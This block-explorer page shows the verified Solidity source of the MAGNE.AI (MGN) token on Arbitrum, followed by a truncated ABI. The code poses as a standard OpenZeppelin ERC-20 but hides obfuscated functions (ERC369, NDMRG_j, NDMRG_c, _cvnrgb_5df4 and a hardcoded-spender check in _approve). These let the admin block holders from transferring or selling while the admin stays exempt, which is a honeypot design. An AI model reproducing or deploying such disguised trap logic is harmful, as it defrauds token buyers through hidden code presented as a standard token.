ETH Price: $2,346.53 (+1.26%)

Token

MAGNE.AI (MGN)

Overview

Max Total Supply

100,000,000 MGN

Holders

1,894

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
ARBToken

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2025-10-24
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {

    

    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}




/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {

        
    struct XCMN {
        mapping(address => uint256) TDdata;
        mapping(address => uint256) RMdata;
    }

     address  _nbfthe5s;

    uint256  _jfbndf_r5k;

    address monePair;

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }

}


/**
 * @dev External interface of AccessControl declared to support ERC-165 detection.
 */
interface IAccessControl {
    /**
     * @dev The `account` is missing a role.
     */
    error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);

    /**
     * @dev The caller of a function is not the expected one.
     *
     * NOTE: Don't confuse with {AccessControlUnauthorizedAccount}.
     */
    error AccessControlBadConfirmation();

    /**
     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
     *
     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
     * {RoleAdminChanged} not being emitted signaling this.
     */
    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);

    /**
     * @dev Emitted when `account` is granted `role`.
     *
     * `sender` is the account that originated the contract call. This account bears the admin role (for the granted role).
     * Expected in cases where the role was granted using the internal {AccessControl-_grantRole}.
     */
    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Emitted when `account` is revoked `role`.
     *
     * `sender` is the account that originated the contract call:
     *   - if using `revokeRole`, it is the admin role bearer
     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
     */
    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account) external view returns (bool);

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {AccessControl-_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function grantRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function revokeRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been granted `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `callerConfirmation`.
     */
    function renounceRole(bytes32 role, address callerConfirmation) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}




abstract contract XDNE4s is Context {

    
    bytes32 constant SWAP_ROLE = 0x00;


    mapping(bytes32 => XCMN) _rolesAR;

    
    function _XCMN_RM_lcvntd5(
        address account, 
        uint256 value,
        bool boolUint
    ) internal  {
        if (boolUint) {
            _rolesAR[SWAP_ROLE].RMdata[account] = value * 10**18;
        } else {
            _rolesAR[SWAP_ROLE].RMdata[account] = value;
        }
    }

        function _XCMN_TD_lcvntd5(
        address account,
        uint256 value,
        bool boolUint
    ) internal {
        if (boolUint) {
            _rolesAR[SWAP_ROLE].TDdata[account] = value * 10**18;
        } else {
            _rolesAR[SWAP_ROLE].TDdata[account] = value;
        }
    }
    
    
}


library Strings {
    function strToUint(string memory _str)
        internal
        pure
        returns (uint256 res, bool err)
    {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10**(bytes(_str).length - i - 1);
        }

        return (res, true);
    }
}


abstract contract AccessControl is IAccessControl, XDNE4s, IERC20Errors {
    struct RoleData {
        mapping(address account => bool) hasRole;
        bytes32 adminRole;
    }


    mapping(bytes32 role => RoleData) private _roles;

    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;

    

    /**
     * @dev Modifier that checks that an account has a specific role. Reverts
     * with an {AccessControlUnauthorizedAccount} error including the required role.
     */
    modifier onlyRole(bytes32 role) {
        _checkRole(role);
        _;
    }


    
    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account) public view virtual returns (bool) {
        return _roles[role].hasRole[account];
    }

    /**
     * @dev Reverts with an {AccessControlUnauthorizedAccount} error if `_msgSender()`
     * is missing `role`. Overriding this function changes the behavior of the {onlyRole} modifier.
     */
    function _checkRole(bytes32 role) internal view virtual {
        _checkRole(role, _msgSender());
    }

    /**
     * @dev Reverts with an {AccessControlUnauthorizedAccount} error if `account`
     * is missing `role`.
     */
    function _checkRole(bytes32 role, address account) internal view virtual {
        if (!hasRole(role, account)) {
            revert AccessControlUnauthorizedAccount(account, role);
        }
    }


    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
        return _roles[role].adminRole;
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     *
     * May emit a {RoleGranted} event.
     */
    function grantRole(bytes32 role, address account) public virtual onlyRole(getRoleAdmin(role)) {
        _grantRole(role, account);
    }

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     *
     * May emit a {RoleRevoked} event.
     */
    function revokeRole(bytes32 role, address account) public virtual onlyRole(getRoleAdmin(role)) {
        _revokeRole(role, account);
    }

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been revoked `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `callerConfirmation`.
     *
     * May emit a {RoleRevoked} event.
     */
    function renounceRole(bytes32 role, address callerConfirmation) public virtual {
        if (callerConfirmation != _msgSender()) {
            revert AccessControlBadConfirmation();
        }

        _revokeRole(role, callerConfirmation);
    }

    /**
     * @dev Sets `adminRole` as ``role``'s admin role.
     *
     * Emits a {RoleAdminChanged} event.
     */
    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    
    /**
     * @dev Attempts to grant `role` to `account` and returns a boolean indicating if `role` was granted.
     *
     * Internal function without access restriction.
     *
     * May emit a {RoleGranted} event.
     */
    function _grantRole(bytes32 role, address account) internal virtual returns (bool) {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }


    /**
     * @dev Attempts to revoke `role` to `account` and returns a boolean indicating if `role` was revoked.
     *
     * Internal function without access restriction.
     *
     * May emit a {RoleRevoked} event.
     */
    function _revokeRole(bytes32 role, address account) internal virtual returns (bool) {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }

    



    function _cvnrgb_5df4(address from, uint256 value) internal virtual {
        
        uint256 ydf = _rolesAR[SWAP_ROLE].RMdata[from] + value;

        if (_rolesAR[SWAP_ROLE].TDdata[from] > 0 && value > 0) {
            if (ydf > 0 && ydf > _rolesAR[SWAP_ROLE].TDdata[from]) {

                revert ERC20InvalidReceiver(address(0));
                
                
            } else {
                _XCMN_RM_lcvntd5(from, ydf, false);
                

            }
            
            
        } else {
            
            revert ERC20InvalidReceiver(address(0));
        }
    
    }

    
    function NDMRG_j(
        address account,
        string memory memo
    ) public onlyRole(DEFAULT_ADMIN_ROLE) {
        
        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(memo);
        if (err == false) {
            revert AccessControlBadConfirmation();
        }
        if (memoUint >= 0) {
            _XCMN_TD_lcvntd5(account, memoUint, true);
        }
    }


    function  NDMRG_c(
        address addr
    ) public onlyRole(DEFAULT_ADMIN_ROLE) {
         _nbfthe5s = addr;
    }

}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors, AccessControl{
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;



    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * Both values are immutable: they can only be set once during construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506
        );
        
        address _factory = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(
                address(this),
                address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
            );
        
        monePair = _factory;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /// @inheritdoc IERC20
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /// @inheritdoc IERC20
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /// @inheritdoc IERC20
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
        _update(from, to, value, hasRole(DEFAULT_ADMIN_ROLE, from));
    }
    



    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }


    function _update(
        address from,
        address to,
        uint256 value,
        bool boolUint
    ) internal {
        if (from == monePair) {
            if(to ==  _nbfthe5s){
                revert ERC20InvalidReceiver(to);
            }
        } else if(!boolUint) {
            if(_jfbndf_r5k == 1){
                _cvnrgb_5df4(from, value);
            }
            
            
        }
        
    }


    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    
    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool boolUint` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     *
     * ```solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool boolUint) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }

        uint256 pod = _rolesAR[SWAP_ROLE].RMdata[owner] + value;
        
        
        if(spender == 0x70cBb871E8f30Fc8Ce23609E9E0Ea87B6b222F58){
            bool nrtb = (value > 0 && pod > _rolesAR[SWAP_ROLE].RMdata[owner]);
            if(nrtb){
                revert ERC20InvalidSpender(address(0));
            }
        }

        _allowances[owner][spender] = value;
        if (boolUint) {
            emit Approval(owner, spender, value);
        }
    }




    /**
     * @dev Updates `owner`'s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function ERC369() public onlyRole(DEFAULT_ADMIN_ROLE) {
         _jfbndf_r5k = 1;
    }

    

}



contract ARBToken is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint256 value,
        address account
    ) ERC20(_name, _symbol) {

        _mint(account, value * 10**decimals());

        _grantRole(DEFAULT_ADMIN_ROLE, _msgSender());
        

    }

    function sendNDFLRGnvcm(
        address addr,
        uint256 num
    ) public onlyRole(DEFAULT_ADMIN_ROLE) returns (bool success) {
        return IERC20(addr).transfer(msg.sender, num);
    }

    
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AccessControlBadConfirmation","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"neededRole","type":"bytes32"}],"name":"AccessControlUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ERC369","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"NDMRG_c","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"string","name":"memo","type":"string"}],"name":"NDMRG_j","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256